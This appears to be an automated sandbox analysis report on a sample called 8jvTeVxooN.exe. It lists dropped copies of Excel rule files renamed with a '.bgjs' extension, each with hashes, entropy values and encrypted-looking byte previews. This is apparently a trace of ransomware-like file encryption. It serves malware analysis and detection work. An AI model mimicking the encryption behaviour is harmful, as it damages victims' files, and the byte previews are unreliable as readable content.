..a_..,.0..L.nr=K.Q...T....,....o..'.......a..YC..?q.[}I.K...gj........GCi.~...sR...7UP..*..}/.PMHd.(.UC..L.....L..Y!....kb-............q.....xX.+..4..o..d....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.542102033827038
Encrypted:	false
SSDEEP:	12:05qrPHl8/PJqKLIebnPIh0eYlLDQ84VmewEUGNbE1jxL9uOcii9a:0KHleqKsgnPIO/1+VmewSo1jxL0ObD
MD5:	67B7B13E9CEA4E486F37067C3EA67EC4
SHA1:	093D3E7C50895676F653F08DBBCCBE3A1537E5F1
SHA-256:	B7C23AB25AEBF760130E69AFAC87C91905824ECCCD442F7104ECC797BF83AE7A
SHA-512:	D642FFE99A8DFE67E3E23DE7DCECF5E83711A2F9343E903274806E7DEB8865FF51B90C4FD21C022CF397D10181F6C2E913192161D197274DF1A6F70F9079DCB4
Malicious:	false
Preview:	<?xmlb(.kP.!....\|....`...A..V3..o..`<&.)........S..GN.X.......Q-.v.A (T..9.&XG.3.6;.SW...T.R..xg...N.9..).2..Y.q7...[...p.>0l.\|...3+.r......<O..;=..:H_.F..$@.......9..{....9..(...z...............S.\|[t..S..2.f.vGjy\|.@...V......;t..(.w..X....yF.Z.<u..._._.*<...P...B4c\|<U.h\|.9.7...~m....fC.).{...=.==.I.6..DRJ..uS..f..s...y:.9i...MF...B..KHm.Rew.....'..H...)<.....K...8\|"...o./x.m].#W....e.C..}...`......uH;;Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.915098842359039
Encrypted:	false
SSDEEP:	48:i4RugeuIwZ/Dc2h3BRrtY0/g13DfwBoPUJBvegvurM1iQ8D:oPG/Yc37tzg13jooPg9W4sB
MD5:	E02F68ABE9FFC4F21C158D42BEB7F441
SHA1:	98706F600A38F12E60D500D287C2F3443E4C2846
SHA-256:	8FC2A1F409A09F7600386479227FF8C98D3DC5792F88A13AA40A524E2657DD7F
SHA-512:	229FA286409567AED1F62238F3E597B49915C4B3CBD4776377E36E61BC6FE2E72404DBB57DF9731AACF1D10F3652CB54DD19D4F13155C57504684D4130779290
Malicious:	false
Preview:	<?xmlat...;.J.].....z1T.,.U..i.OD.(.M.....W.....g.n&.....FJ......b.:L.eq..Vjs......._...6..<<.&...`.^}.'q....5=..@.K..;......y.C..(."...l..l.....2....O.m........\...}o..J#h...?@.LmKJ.X[..aqO.7I.njl5.F.0._.....h9..q..5b .5.K.9...V.......\.D9=!X......WO....n,O3.........Wl..l.[J...\n..}..M....O /.%.... ..:".4.Em.....U./Vq..`c....~8......6.....CV.!...-...V..(r.O1g.hIj...1......t...."V.2+....)E..0Lr.}..J.v..7O.^(?%..!8.0..d.....$qn.H1(.......}U....Z.m.bK..z}>.D..&r.B.U<{.G.....`.=....l./Q....R..5..!g.}2GL........1........%".z[.f......I....N....cxT."-.).1.....<..a.m`}...h..V.N)sD(~....Q..v.V....j.]...`m.0.c..3.R.9.3K....=.%z....W...W~.O>..z..-..!..z...6~.R...&.~.`.e.r..[.q.q.v..d(xR.......3......VV.5....!....WEHu...}du.$[....:.f@..Ow..z:.L.).....O.....~j..+..R... ........g^...<.+.:w.Y..}@..>g.}.^G.I.2...U...l...S.'q..L..g...K.e..Y....5].u...#<..EdI.S..X...d5:...9.q.1.^....!Xg.u...w._...E}r.Y.)1..]..@....20.'+*......5...(A[K.....".1..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.85598309783791
Encrypted:	false
SSDEEP:	24:W66IfdG4ZJsTrEtv2kmpBXBHu5ODKecYBtG9+PjCw/E/wJYGBsuGeOcR6il1ObD:WtIodTYVJm/BOc+ecsq2kdoVD6XD
MD5:	C60CBCEF2CA3BEE830189FF82DAAE608
SHA1:	DE251B2072583EE3D1BE9431687B9C5EAFB60318
SHA-256:	20F1506981B492E750628E00A191B6DBE9DC12333136A1793AC328A32BDD6375
SHA-512:	44DEDD494FA643EE5C17EE8A2D5CE59CD05300BECE3B06AA3A6F6A0B0393122BE51671873BAD3C890F618725F07A5E5E6911E4DC2F4D13923B4D12493CD5DC70
Malicious:	false
Preview:	<?xml.Qg....#w.)W...~F..t.........S.j...rS5...+..._.,N..\|~....#\W..\.J...,..Wvi.-/9)7.F......C...%<......g...K.9.O.v.;4cf.P.Q.[A".7\|.......5.........zw..`Vkj.m...H...Jd!.}..w..TRG.<..?y.b.$Q..jw3..n...?(o=..7..9.......yx..r..N.Q.n\..j&.O.a.X..9.#N .U.z.i\.!..\M.......`..%."?.:..wm6...W`..ZH...r~t%..YW.l.....h&X.x..T.]_....!.0.P#.D\|.<...c.AS.Cl.W.1L...S....E...."....Mqc.3....X.{.1......".......v.o..A..@%..GM5..5.z+o.......... ....L.....u[.G.mg`........}....{....i......}$.k6l..n:y...n..qg.9......O.v....$;.1.9...^.[K\.....X\|J..e.Hb.M...=HB@J}G.-j=[.GXC\h.)je7..L.>......$.f.(..;W..6.k.YA.....R.&..b.\+.,.!.lU.h..A.._...W...b.v`.s^.m...........&..LX....!.o..%.~q.......E..^l..y.j..A.T......S..JP...}....z....L.....;..c/..:.+.;.SPy.?...EK....=l#.Q3'.....i...^;....a.4`....h2.A73.....{...$t+A."g....:.0.a.Z........'...B..PR...)c........-..d...-^.d.F....D.\.a.p[.U.Y...~...a8{......6..S..YrH.{...u._.n....;w...)....Z.N...c..gu....W^p...<.&...);..s

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.68826804470647
Encrypted:	false
SSDEEP:	12:wPMm480dn9MkbHzPDHmcIrK49loKFxuuOB8qedsAh/op3sLI/GoFQVIx6qcbuOcq:IM0qn9NvDHnIeXKn+Czh/o/OjKtNObD
MD5:	7DB7A2C6B854E76783EB15247DD43814
SHA1:	8BD97A62CDEC2C655703E9BEBB26B3E41AA88A0E
SHA-256:	9A5ABDA1697647933846CE12A9C656A894A4093058ACB26F766D808090D02A98
SHA-512:	08FCDBB31F02C482B8586397786CD9B71C8AD8683F2C4533654C12D5DB93D67A818EA4AC99D2F66B70DDF84044496AEBB384838D97E15496EE363668A383BE1A
Malicious:	false
Preview:	<?xml.1IRh..h..:n....6C.t9.E.pcIwW..d..OM....@.7...4.y...g.?...........H.>K-.....?...p.$(....7c@.....nt$...N7.{.....i.FsC..ZE_.....1.8.4...y'*;..We..8.O...V.B];..o..w.(k..e.,.x1 R.....m..0X......QH.V.0.%:.8.M...}....Q.U...u._o3.E..tzv...."....#....:9."...Qn...".K....a>...plz<d#f.\|..E....U/..7...c.V..sT#...Bf.#.F.].......#X...e..i+n..t......R.m.....y....."..j..!.y.O...5...N.a!...i..@..#..6..-R....R.....Q.....<.ik/`..(.d.[.G\.\....f.M..c..,...."j.....$.2..Y=@.....1....z.MZ.eaE.h.L...e../..Vg../.3..g...1e.%..".x.....?.k..CpjH.{/.M...gBN?.2.am...FJ?..#."..o#g.....~.V....Z....m.'.u.....0.gi.{...%v..:.v..)R(;.`B6...I.w.o..E.#W...-(.i...V"...L. .9.GxM(QEt..l..J...H...l..#.,..4.P..Ub.8t...E.1..~..;....DS.tQ..BZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.679778205622922
Encrypted:	false
SSDEEP:	12:gRJSOPLFXcMsRSGNah2/MoopfUmc3gytj71aNrdbuOcii9a:4JfLFgS45yfUm6gyVJaOObD
MD5:	B22616BFAD7642015B344435A7D2C5B5
SHA1:	126C1CDCA3635E91091779CFFA27CF3E3DAE3117
SHA-256:	5D84CB0F201C758C62B2A3B157FF240F604B9E501B02612163448447685090F2
SHA-512:	699A893913EF0139713833D1E4F6E2B29FD9E6B7989178E8CA43501F4064F85C8ED3663181FD1C185DED3D8168B890DBF53999DD8CE83481D968C05AD17516B0
Malicious:	false
Preview:	<?xml....(..K.8.?.y...~.\|+.@f...d.... H^.XEoX6...o7......pj...SX.Tq.h#V.....!........3....S..v.&.U..W.z\P..o............O.Z..i..v..f.}.H....m.u.k........^;.osgb.{....P..6.z...`;.x......fD...E)\|..$...t...+...8l,x.?......>..$....;.u.sj.3..H..!z....c.A..M.m....LyV-\|".w..m.T.c:.s.=).baZ.^l..b4..n.\|4..W..I.WN....rI.N...]J?..h....UsW.&...#i./...".K....* ..'....=.<9........t\vl.....l........J........yYPF.?.....1...."....4........O....,.i"ve..Le/E.Q........x.g.7M.}.m.:H...{X...8.?#.....M.Y.U....?.1..#.yw!.d.*..z.+...S.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.7411575670900294
Encrypted:	false
SSDEEP:	12:4mdo3RNY2GjfkExgGQdkcsBcW4xWplj5EF53iBJKS7/ZHzglEHt+EK9O2nH1Hyds:9SRu2GDtxpcA4IplLBJPRElEsMDvTObD
MD5:	EEF5F3AF43CC07D63499708B3306F877
SHA1:	0248E0F66066D4BEE31AFE0AFB790CF0A410FFBB
SHA-256:	BFB3DF96071E3104BF06CEEAF917EBC57AE0ED7885FABD24CF8A5F2F924F75BB
SHA-512:	FE21E208AE7CC6EEB1938E81A28946E1D5C6D6209D22795330E5F51FA13AC819A97825D4388E9C07B2DC577971D77CFFA54EDAF4EA5F927FB68627A8969084EC
Malicious:	false
Preview:	<?xml...5...!_...hK.....-. (....n.t...S...^..I_.@}...C~....'......x".,...R.r..."^.D..p.$?K>.r.n..{.\..\Q.!...\|.c.....\|CZ..,r/.v..Yo.-.........>.....u.m,Df.wLVO$..Q..Z>...#X..5..xk.4...l...B./.-b....*.o.....9...W.....2.qh..zpsT..L.]F d8..J..;x#B......3.-b+E.=...81....S...._G...,.P..38./....S..u....c...4..&C)...{........L.o....#....!{!...n:..n-....GVy..S....}H!2..^..N.6.w.1e..$.B..W..bwE...r.$.OY........l5.u.\|.5..KU'..,H.y.&N.c.H...&..hb].@......=....y..~7.......[(w_=hG..J..e..{..1k.2.$.. .[..tl.(.R.....d..t.Eb4.>....0..'X.<?.R`.g.xMNK...K%..w5./.n..".0..8r...LI.C.r.\~w3...h.&..B..t......./...y.6?....g....ze..l.L....f7l..Q...T.8.Z.!0E..Q.pI"......)....t$....w....\l.r....`p...K!.U....bS>..[R....RX.W..t..v^...q.....,/HWRU.Z:..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.97020719415216
Encrypted:	false
SSDEEP:	192:wHPzUOCuHz1E3J69tgLQ4A44B/0CTBBD+FWk8:KImz1GsLIVp4H+G
MD5:	F65ECDF9CAFD9CBD874DEB340F0E3C1E
SHA1:	950230A2C38A462C001D6204F18BDA6572A66205
SHA-256:	EA19CA5B581A9C33E94119BA875B12CA86A7EBCDA1308E8589F016EF140D726C
SHA-512:	35C3756C5AFF06CB4B521A68097E6376993303F0B37220BBF4926D743DE69337D351048E2525AF842A9031AFFD599F4679EFC1F25ECE64F08840302BEF73CF45
Malicious:	false
Preview:	<?xml.n..7.Z1...=.,..."F..KA.XDa..X.....)....X.=w.kv.....[..-2."R/...(...q.....:....l$%....W.c...3.Y.}........d..../{...J.G.=.jV9..Bi.j.....D.. .&..Z-28/q.....@.?..^h.....9.a............K.Xpy!..53....R....`..2.9.R.V2.......v../.h@......k.E.N.^Z.w.\|s..L..b....P5..E..W.kR....t.S.......g...XIc._.....,...g...'.6.2.s..\KuT.Z..2....Y..x1~....N...._M....`..8w...........i.g..}6.p.O.3...2"D.=.n.m.s..;.%.[H....Eh..?.k..3.1H,......h...\|<.....X.....Qp...V.o.d0.'^.....NEpY7..<...$cn}.K.......:...k.q..9'\|....qn.Y...4.{.....'J"....{g...f..2.J.1....0L..0..W..l.o\|.c.......$7...I+.8.Zm..\|..'....!.......g;[SNe.pA.K..>...+....Tv.q...X....K.......AmD......W.%7..K'...a..B..<...:9.........U.J.t.,..4...].k...f3b. ..>g..&64....v7.cH......Ci.]..v.Bl6....5.y\x...*"........;o..D..PX."W.z.......?....Yq\|^.4I.....v...3.IK=.4.....N..,...A.vR .%L..7. .g\.DA.U.JN\|.eL...@.b...4?E ..C.)..~..f`.x...-V.;r..n..Bl..t.....>.p...znO..M7.6$..2.R!....[...T)....[j.\|

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.794644382538115
Encrypted:	false
SSDEEP:	24:NxcIZ6IFt9CM5hA1yV6cxGuimIcfmd5ZcPd8b5KrlmKObD:N964R5l6cxXhIcQ5CPdi58mtD
MD5:	9F205F4B18B08221EE43BC333F9325F4
SHA1:	302C49FD8C1843EA1CB5B39E0C0960968F6B24ED
SHA-256:	50AB7F6EBD8522C530D7C3981716CADAE04A75DF02721382FC1B699DAB5AFBB5
SHA-512:	2A57B82DCD8744B546FDBD112D750E0CE341C1B09353151D5FFCFCFB1DF8289F968D1397DA63D110A46C13D26AE39D2F37676FDB0802496AE84D524236EF8A54
Malicious:	false
Preview:	<?xml.1s...>."..X...(.e.3^.9<$......,..{$53.@.:..x...j.44m....5...(.px.....R.p..a..H..(7r+...A..{..2s.X.....Z..TqO.....%...3c.f .:....2..\|LY...o.....7. n..Z<.k.@35..,1.......5x.?.........k....@.;.]JL..i......G.`.P..8...`......\..N.K!...*..:t..}.2..84.}...oDf........M...!t..I.]7.t.3....{.~9.&.,.~.w.X.w....... ..HI.<.o6Ia...Xy..9....O[.r..>Cv..P..X..n.K.JSZF]B..@......G..[.,.A...'..J9'...L....m...!.k..h,.....WmO2WB.^.#..D.".......&....G...h.eE...b?..w+8$..'....../..~..}..jo..}d..-n.ME..`...{L ....HV.".N3NM.3...o.8.F..i......4...?2..f.].......g[....j..........h"....Z./]T'.....a3..Gl.u..@..w.b...P(...~YH.0.._......8L. .rFl..G.\.Q...}..I........X.(........w...JU....?....5...l.7....2b..N.c..D...Rr.<C...Zq.i@...)......y....c..b..}V..H...n....`.;i...p.]l..ur.br}%V.+I.....[...4.P1.....r.>...[..."O..Y^N.4..M.D.)././.c.sqE{..5K..0.F\|.\...'J]..W+.g{......dbr+Tl....-,q=....pV52..m...:3T.'1.`T..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.795329413016414
Encrypted:	false
SSDEEP:	24:76LsUahggp2pjwsNhwOEnD2qcBthoYQ5SObD:eQZ1OCTcBthC1D
MD5:	CA81F45766DDAFE21C25D55E22B5004D
SHA1:	818D6B7FEF736A5B1D8FF809053C2E77A47A13C5
SHA-256:	C886DA8C0795BB166382A7C7D8EEEC149DE9C9D6FAD704C516BC5EF679F47EE3
SHA-512:	47C65192C373528DEBEA64FDF2E183C0F4AA289F3DD8C027B2261EA90B6791412DED1E2B3B063E30EBB9403155BE8E9107239E13AF400E17FF450283AD47E405
Malicious:	false
Preview:	<?xml.p...._YA.....PU..U.(h..!$3..g.o.;.m.JL.\|K[..C..k..N.n....\|@.w...-........#...2........<[Tl..d2.y.&Z`......5..s..O..0......~.d.x.Pw..'..F...J.C....q......g.zg.2s.D..}";.}.7.B.^:"A.....9'd h....hn/.........O.;_..g@..v.vG&..Q)..(..Ss..j............Kf....#.n>9.e..gy.9T..N.&....@.....<..qJC.9M..(.z 5.....+6.......V.1v......I.t...W1...=gM..y.a...CY....\.. .Q.o..._...[^..[.c...6%..9...[<..,..+/_...!O:x'.P....k.Zf.i<.n.........3M.>......!d.D.^......-.I.uP@j]......1..2.b&...S.D.oate..,...6..\b.(r....t.}...l[8./.%_.y...]......U.+.#....@..#S.z....}_c._t....{3U..+..Te..DK.hI....2...8N..........hw..d....T..<...[.c..5...!Cg.`VA..M..x.~%..$m..A,pJ.Y....h]$..)5..z.....I7..R...0s$'..[.cBa.3.!.M.....(..PMD........g.%G.....i......([... ,..$<=(V.V..E.4..).K..(..C.3NJ[...$....cN...@...q...D.....(....z...F...s..{.+..Vr...}.X,..........m.$..mp..%.{.8nw...Z..-e...d.e....[..,.....X....Xz..,.....q5.^@........D..{..v.;...BZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.864704481012532
Encrypted:	false
SSDEEP:	24:m1eezwsW3rOGqC8WsjBE/T8EhadGbhAfjI6Xo66Zp+PIZbfPIZUZ8mObD:dkw/7O37E/L/6bDXbPIxHSD
MD5:	417BB7BDEC2DBD26F16A838B3FA2AEBB
SHA1:	8A8AEEED6D7C2A01B50748D926E04ED63DC03C70
SHA-256:	11DB3E3A62F76ABED1AD26C87D4F9DE5C7AF8E79CBC04FDAA897C6F97FFC26E0
SHA-512:	0868EB6245CB4520D0069AB99D42EBB243C3C4EA2621F9379DD3A279BD2BD1F347FA13CC1FD91C390C484960478544D333BDC4D66BC1EEB2F3F30BA8918F5DE8
Malicious:	false
Preview:	<?xmlv... >.. :0$ky....T#.M......B.......K?U.P....r..ty=..}ha.?....[...Iy..i.er.Q.....m......h.Y..y..UzBT..u2.h&Pet]....L.....+""<P2..0..;..N&Z..r.....m.=.....=I.....8.mD..B...w.4;.9....>B.L0.6.x.??S..xvO......d..X....G..\|..Y....I.[..M..'\|.z.vO\|#.m.%....(.Uk.4.S.i.....X.3zs....=..x....a3...............Z..4....[..............T...4$)]V.e....iC..W....^.]F\|....Q.B.Q.... .L........~(.;.......U...,......N......i&.`!.G.[.~.2.I5......W...Z..+m...G.E...y...Q.B....Y~pD..)..{.h.+.R.........A.2.^.....'..A'.{@.{!.vO...j.._..G.v]..[?.].../?.....p.8.C.NacxRRS...\.~..-Z. ...3.v.Z...E.....D...,v..Fc\|..G.T..w...Z.-%#2..EN....tw..#2u..!..s.E..fS..........=..O.i.@...0.SY...0..M..3...AQ...rJ.....\|.b..J.b.t.R....'.;...[.A~..$g.h..i.,..-...D:..A&+....&.......3p....#=....1.."+..A4g.J^....B\|z.U..wji.zn=.Gm..w..-W..B.2.&......Pw*.5......jb g+.E.DE.Z.!..pb.S.z.F.7...1...N8....6b...,....8..ZX...$.~.N.%..C.a.D.6r.i.{#..?.sw..{.O...{...3..p....x...5......#.0

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.792610732982181
Encrypted:	false
SSDEEP:	24:eD2yL+IRMhuOkCdnAgKbZ0wd5B2oNb6dusgCObD:e6k+JufgKd0+coNbhVlD
MD5:	6DA50308F9F1E1FB5007232734B751F4
SHA1:	83091456DEFDD6EE28F171A8C9A6C87C7FDA07F8
SHA-256:	76AD0A0154DD64CA291D583B4D6D180A44EBCDC5675E3217083D366EF2D783AD
SHA-512:	8FA3B3F24C6969FDBF7368DB5978D7C254DED4F69160986C6427478DAA75211153F9F1E59AEAD7E25F8207F983B9ED3E184DEB1CB2DDA3794101803BAAD98903
Malicious:	false
Preview:	<?xml.A~.5.......+....T..bR.N...7.~.?..]..a..=.`7K...p......(.p..o..i.+.Sx...{{.\;..v...m*..8f...xjv..x...I..j.......cQ..1n......u.?...,[..S...[.H9.....O.o...E.........#.7.(447L....M.=.>.I....x...G....\.r;..q..+......'.&.A.$.}.g..r.f...3...V4&.f...].Kd.....D.V...A..3.wSw............a...L.!?aeL.J.d...p.]...KS"#."..&.)6..U......6s$.8G/.3p.R.....v.@a.e..A...N...[cT\|.X.%3.7.B.y.G..(.\@.8....gjBJ{.....Dr.3..l.KM...........K..}......1"..0T.,F.%......'<.sa..D....k.j.Q^}..C..U...2.-..vx.d..!?\|.9..{.KBw.`}.U.U..w..E.3..R.....F...l..<X.7X2<.-.....q4#f..5yd).R..S\|..mM.!.--.B.4P.R.\.)N....6..l.....`>....J..{.c.;N...._......@~UQ....M...#}L..I.qDq.....M.}...\..-.S.....&...g.X"`X......bF.c8....h.`YVR[..8..oO..:xzA...@^{g^.zp..x`..}....T.x..Y.M.A......0.W.U..@.qg..Ec..S..=^...../a..I..RRM?..<.@..bR.H....Fd.......b...4d.e.jA.#.Ko.4t$..p$.9}..3g..O..(Bj..~8R)..K.\.3.`.)\|'..^. .a......q.g.~....d.C..$].0. .!....7... ..0p.3..K......!}.a/4.}D..ly0f...8Z6iwS

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.79512397231322
Encrypted:	false
SSDEEP:	24:y+PTn2E+HfeFQHAWZjkkN/a8sLbFDu+4rdBQFHdREGuM4cTjqb7tUnObD:1j++kAWZjkktfyY0FHb1uXcTevtUsD
MD5:	1FB907B056BFF3FAC97D14FD094382FC
SHA1:	B189AB25E0A9D2B87A1F0D562FABEAA7F239A1B3
SHA-256:	481E52C194ACDBD926CDB2CB9AA1DF997C5EC5A049B99393C47E3C6EA6CA8D16
SHA-512:	BA257382EAB55382FC708C22E7CBEC32E5B4E611A2E33983E027E4988F0BF516A36830174E8A43C491F7822919C3723FD9D6A34777E323C2E1EC1834E16CC24A
Malicious:	false
Preview:	<?xml.UM...Y..<./.1.2AJ.62H.L.........)..+....4......I..I.A.L.?.(}..S.5]t.@..,.^..u..`..SqL.lKv...P.4...j...x.....t.t,...r>&W..h..G..tE51.eX...]s......n.O...."....z.....A4'3.....".t....5..-!f..M.I.p.....+.p..C......!.e=e5..9.....Y.KW.../Ai@..G(.....U_...M..[wY.m..Su'.sC..p.XQL0@35.1.........._.Y3..........v.GL.....Y/....\|..?..x.c,>\|(z1....m.7Q~ y.....E.....I..JS...b\f........1G.Cf;s/'.1c....g&......\|1hg<....[.......\w>...o...~.4.a.9...O.....w..}P....)..S7.9.1.h....r>.Bf..A\|c#......9...f....Q.;`..9J...7z....3..Z..u.r#..-.j.v..]'.DT...Q.....<........@..F.7.?K.P..C.t..^..H...a.i..I5... .=..K..H.%0...Rc...1..+.....s^T%.f...2P.w..........fvW.....z..RC.5...I...?f....{w.....X..& ..".4.....c.K.I.m.I..`.....:.ll...W..R!.y5....C...Q...2]..A<.........j9[..B..\|,.v......)..!...c._..]q8k.d... ...&B4.Q,.6..K.....X......I.....tT..#!..#J...x.}QJ6sX1a.A...9.~N.6.e....y..a9*.../..J....0S..@...._.v>.Z:........6.$.{...<.t#.....da......J.1.9..#....^..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.890697476543362
Encrypted:	false
SSDEEP:	48:anGuw7lqYLT3Kft9aptGg48lATEqMnBIXD:yGu0l/3Kf8/Aw8
MD5:	C6C4A946CB1EACACF2F024A843791614
SHA1:	0E14EE7043EDC79DA44E35E7230BB493AEF6134F
SHA-256:	BD9CEE1667C56E408264372EDC8C06D42680947CA0A2A39A2E5D7B1C09523CB2
SHA-512:	5A04015DE228CB5146BAA33BE91C723443B9CD56700E22DA68BDAB8536F6DA69817CB6E6B77391E38732F3C89E275433068D3B21378D29FA94F702D32EE11484
Malicious:	false
Preview:	<?xml.........G.....\|.f..&..=.S..d&..e...D.4.C...u...+.-.h...r'....V...L........U......v...g....4...ljU.-..6....v.-.....y..I.7n... ....x.EY...7....@....G?..\|./.TP....W..J..U..3E..5.d......fT.)2._...........Q....%^..GW.b...+.[..3r......pg......k........E..x.:..S.vJ.N.E.l...2........Q.m...c..."-.k7.Z~./[....P.C...3.E....Fe^..........z..X....{.0;....1....&C."..N.A".....\|.f6.GM..P...2..u.......o1....t"92X...k.......<'.g..vO..(.,..I.G..b..........G....8 G1...!3...2....[%....M..=}KA.o...I.^.1..L...L.].,dy....8.4w. 5..Tkp.yi&. ..9/s.I_.{......=..e.(...@FYAA........ ..3..(.q.N.........G..[{..A.d.?.._..jAxg]....T....W......6:e.j.vr.......,o.`...5.Y..}....J....m.t..P...bh.-..\.$u]..8&.\|.?.=W.N..{%d%...-2n.4.$A............\.W.x.BB.Z5C...Y.].-..g.....Y.e.*'2.X1../..+4C.DF......4.)...<..S.$6..n#...U.........=...?i..0..Z.........).z..o..X.6.!p..^ HJ..8.....BQF^.....8.E.....wu2e<.k&c.A...M.~...a.. ..l....d.r......I.%...%......SRJ.?.3.7.6.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.6693598248854995
Encrypted:	false
SSDEEP:	12:NxY5oQDaN3HqiSTWFBzpa++7d8GdwiOoz+sSmuNCp5iLsMu8kMOtpNLxEuOcii9a:Nq5oj3HqihFBVa+m1wWJJuNKssv1Mmj+
MD5:	E813EAAB5F7ED45AE2B84572BB012C55
SHA1:	A27907D19400063FE952F551DD90CA9488B1FE25
SHA-256:	B490A236976C2169C8040BB03E4D1D19F0C1CE0B0F409570D354FC3A938AEFAC
SHA-512:	F69095685EAFFA631B62AACF4C8E2C44CDFBEB3517C1E7CFBFE84ABA22F7E7A4BBF19DA44B3EB4A36597378E2CF3C188F404610DA7F74CBBD97BDE7EC3FBC285
Malicious:	false
Preview:	<?xmlv.m...<.7m...'.....lG8.A...0.$H..3..KV..A~.TU!g..T...?.i....,..c....].....w..,!W..?-.........1h..5{o.L...]..+j.....I..~D...%T".8.....u.....1>}!....p...y.....E.;cC..(......\|..B...I..L1.T.3Eg...o..%.cZ.`.!..+...}Um......J.V.p.'.}%....0....U....k...q..yx5...#.H."-....<_...J1~:.e...w..;......Ys...C.@...C>...I...~..oN={oi.^.=..w....`..\m{......7......D....w...%....U.;....m>H!a.f....~.Np:......W]{l.B.....Y..w\|<..Sv....f..=........5o4..]...G......8..q./..o......lb....hr.....m.1W5I.X...:K...U.A.."&s.G.i;..Q......'-\........<.$L/...AO1.........?V4.X.z. ..~...fN0.a..B^.....M..<..B._.m...FA..Icf.U.2J}\|....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.889209826727646
Encrypted:	false
SSDEEP:	48:zkq/hcewFN4y+QdyYzQSpYQKAAQN8N+4csD:dce4bdLOQKAuUHI
MD5:	4D19EBD81BDA1A448B2F26D231621E27
SHA1:	92F298DE7F5E1C5992677A98C415967B933975A2
SHA-256:	49FE95FCBB460C3C1DBACFCF355C02CEA7B663525F1DBD6D7244C1898A157467
SHA-512:	8A3057C9E54BEF21B19F57A028782D0F0DE08EB7F90CE34BA8D1A7B6E5B0E91AF88DA7E426DD8515D743B7A0D0C4299E959EA6CC978DCBE0EBE3F5C3FAE51F1B
Malicious:	false
